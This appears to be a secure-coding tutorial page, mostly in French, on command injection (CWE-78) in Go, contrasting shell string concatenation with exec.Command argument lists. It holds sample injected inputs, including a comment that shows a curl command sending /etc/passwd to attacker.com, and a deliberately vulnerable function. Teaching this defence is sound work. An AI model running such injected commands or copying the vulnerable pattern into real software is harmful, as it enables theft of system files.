flawopen.com/command-injection/Go
Learn how to fix Command Injection (CWE-78) in Go. Side-by-side vulnerable vs secure code examples for os/exec.Command() with argument lists.
Imaginez demander à un assistant de bureau d'imprimer un document nommé 'rapport.pdf'. L'injection de commande se produit lorsque quelqu'un fournit le nom 'rapport.pdf; whoami', et l'assistant transmet aveuglément le billet au terminal, imprimant le rapport et lisant le badge d'administrateur.
Web Application SecurityCWE-918.CWE-918Defense-in-DepthL'application reçoit des noms d'hôte de diagnostic ou des noms de fichiers directement à partir d'une requête HTTP.
Le backend assemble une commande shell par simple concaténation de chaînes au lieu d'utiliser un tableau d'arguments isolé.
L'attaquant injecte des métacaractères shell comme ';', '&&', '|' ou des accents graves (ex. '127.0.0.1; id') pour échapper au contexte initial.
Le shell du système d'exploitation exécute la commande injectée avec tous les privilèges du processus du serveur web.
// Spawning bash explicitly to execute concatenated string
package main
import (
"os/exec"
)
func runBackup(target string) ([]byte, error) {
// Attacker input: "db; curl http://attacker.com/leak --data @/etc/passwd"
cmdStr := "tar -czf backup.tar.gz " + target
cmd := exec.Command("sh", "-c", cmdStr)
return cmd.Output()
}
// Calling tar directly without an intermediate shell
package main
import (
"os/exec"
)
func runBackup(target string) ([]byte, error) {
// target is passed strictly as a single filename argument
cmd := exec.Command("tar", "-czf", "backup.tar.gz", target)
return cmd.Output()
}